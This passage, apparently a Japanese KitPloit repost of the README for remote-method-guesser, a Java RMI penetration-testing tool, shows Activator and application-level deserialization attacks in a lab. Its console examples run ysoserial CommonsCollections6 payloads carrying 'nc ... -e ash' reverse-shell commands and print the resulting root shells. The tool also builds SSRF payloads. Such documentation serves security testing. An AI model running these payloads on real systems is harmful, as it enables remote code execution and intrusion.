[qtc@devbox ~]$ nc -vlp 4445 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4445 Ncat: Listening on 0.0.0.0:4445 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:45429. id uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
``enum``アクション中に、*remote-method-guesser* は、*RMIエンドポイント*(レガシー*RMIコンポーネント*)上に*Activator*が存在するかどうかを通知します。
*Activation system*のデフォルト実装は、*Activator RemoteObject*に対してデシリアライゼーションフィルタを実装していません。したがって、*Activator*エンドポイントへのデシリアライゼーション攻撃は、最新の*Javaバージョン*でも常に成功するはずです。```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component act
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on Activation endpoint...
[+]
[+] 	Caught IllegalArgumentException during deserialization attack.
[+] 	Deserialization attack was probably successful :)

[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:44673.
id
uid=0(root) gid=0(root) groups=0(root)
アプリケーションレベル

現代の Java RMI 実装は、デフォルトでよく知られた RMI コンポーネントを デシリアライゼーションフィルタ で保護していますが、カスタムの RemoteObjects(実際の RMI アプリケーション)は通常保護されていません。そのため、引数にプリミティブ型だけを使用しないリモートメソッドは、 デシリアライゼーション攻撃 に利用される可能性があります。 この ブログ記事(著者: Hans-Martin Münch) では、この問題をより詳細に説明しています。remote-method-guesser を使用すると、このような脆弱性を簡単に検証できます。例として、 remote-method-guesser のサンプルサーバーの String login(java.util.HashMap dummy1) メソッドを使用して、 デシリアライゼーション攻撃を実行できます。```console [qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --signature 'String login(java.util.HashMap dummy1)' --bound-name legacy-service [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI endpoint... [+] [+] Using non primitive argument type java.util.HashMap on position 0 [+] Specified method signature is String login(java.util.HashMap dummy1) [+] [+] Caught ClassNotFoundException during deserialization attack. [+] Server attempted to deserialize dummy class c0ba245a659945bb93a49a3ab4b1e430. [+] Deserialization attack probably worked :)

[qtc@devbox ~]$ nc -vlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:35377. id uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
### その他の機能

*remote-method-guesser* には、この *README.md* ファイルで説明されていない多くの機能が含まれています。その一部を以下に示します。

* ほぼすべての操作で ``--ssrf`` オプションを使用して、対応する操作の *SSRF* ペイロードを作成できます。
* バイナリ形式の *RMI サーバー* 出力を取得した場合(例:*SSRF* 攻撃後)、``--ssrf-response`` オプションを使って *remote-method-guesser* にその出力を入力できます。これにより、指定された操作で取得したものとしてサーバー出力が解析されます。
* *remote-method-guesser* はプラグインシステムを使用して拡張できます。4つのインターフェース(``IPayloadProvider``、``IResponseHandler``、``IArgumentProvider``、``ISocketFactoryProvider``)を使用して、より複雑な使用シナリオに *remote-method-guesser* を適応させることができます。
* ``guess`` アクションでは、``--create-samples`` オプションを使用して、正常に推測されたメソッドを呼び出すための *Java* コードを生成できます。

これらの機能の詳細は、[ドキュメントフォルダ](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/docs) にあります。

### Docker イメージ

----

バージョン `v4.4.0` 以降、*remote-method-guesser* は Docker イメージとしても利用可能で、[GitHub Container Registry](https://github.com/qtc-de/remote-method-guesser/pkgs/container/remote-method-guesser%2Frmg) からプルできます。各リリースには、*通常版* と *スリム版* の2種類があります。どちらも *remote-method-guesser* の完全な動作バージョンを提供しますが、*通常版* のみ [ysoserial](https://github.com/frohoff/ysoserial) が同梱されているため、イメージサイズが大きくなります。

* `docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0` - `121MB`
* `docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0-slim` - `61.9MB`

以下のコマンドを実行して、自分でコンテナをビルドすることもできます。```console
[user@host ~]$ git clone https://github.com/qtc-de/remote-method-guesser
[user@host ~]$ cd remote-method-guesser && docker build -t rmg .

Acknowledgements


remote-method-guesser は、Hans-Martin Münch と Jake Miller のブログ記事に大きく影響を受けました。さらに、rmiscoutのワードリスト は明らかに rmiscout プロジェクトからコピーされたものです(異なるライセンス契約からもわかる通り)。Jake さん、さまざまな GitHub リポジトリから収集したこの素晴らしい リモートメソッド のワードリストに感謝します。

Copyright 2023, Tobias Neitzel and the remote-method-guesser contributors.

ツールをダウンロード